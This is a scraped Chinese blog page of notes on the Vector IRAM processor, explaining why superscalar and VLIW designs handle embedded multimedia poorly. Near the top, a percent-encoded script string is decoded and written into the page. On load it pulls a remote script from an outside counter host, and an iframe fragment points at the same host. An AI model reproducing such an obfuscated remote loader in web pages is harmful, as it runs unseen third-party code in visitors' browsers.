笔记:Vector IRAM Processor (2)

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
笔记:Vector IRAM Processor (2)

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


笔记:Vector IRAM Processor (2)
转载请注明出处:
http://blog.csdn.net/phoenixsh
为什么超标量(Superscalar)和超长指令字(Very Long Instruction Word)处理器不能有效处理嵌入式多媒体应用。就多媒体应用而言:

它们主要依靠提取程序中的指令级并行性来获取性能提升(还有提高主频)。然而软件中的指令级并行性本来就有限,提取也很困难。这样做已经越来越难继续获得持续的性能提升。
如果我们考虑多媒体应用的话,这两种处理器的处境会变得更加艰难。超标量处理器的指令流是严格序列化的,隐藏了所有数据级和指令级的并行性。为了发现和利用并行性以获得更高的性能,硬件部件必须使用复杂的发射逻辑,这在硬件资源和能源消耗方面都是很浪费的。超长指令字处理器可以利用一些数据级并行性,代价是膨胀的代码。

它们通常不能良好地支持窄数据类型(narrow data types)。

它们使用层次化的高速缓存来弥补处理器和内存之间的性能差距(bridge the gap)。问题在于,高速缓存的有效性依赖于时间局部性,而多媒体应用的数据是流式的。

它们的性能依赖于诸如缓存、硬件或者软机分支预测、乱序执行等概率方法。使用这些方法之后就很难保证实时响应能力,而缓存缺失或者预测错误也对性能有很大的影响。
依赖于指令级并行性的处理器也不能很好地配合嵌入式系统:

为了从序列化的指令流里面发现哪些指令是相互独立、可以并行执行的,超标量处理器必须消耗额外的能量。另一方面,超长指令字处理器则把能量消耗在指令的提取和解码上面,因为可执行文件的尺寸变大了好多。

它们依赖于全局通信模式来发射指令和发布结果。大多数情况下,关键信号在芯片中的传播必须在一个时钟周期内完成。这使得超标量处理器和超长指令字处理器的设计在CMOS技术中的长导线引起的延时问题面前变得脆弱。

最后,高性能的超标量处理器和超长指令字处理器的设计变得越来越复杂。设计中的一次性费用(NRE, nonrecurring expense)经常达到数千万美元。另外,即使使用数百个工程师,设计和验证周期也是以年计的。这种复杂性还会与日俱增。
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值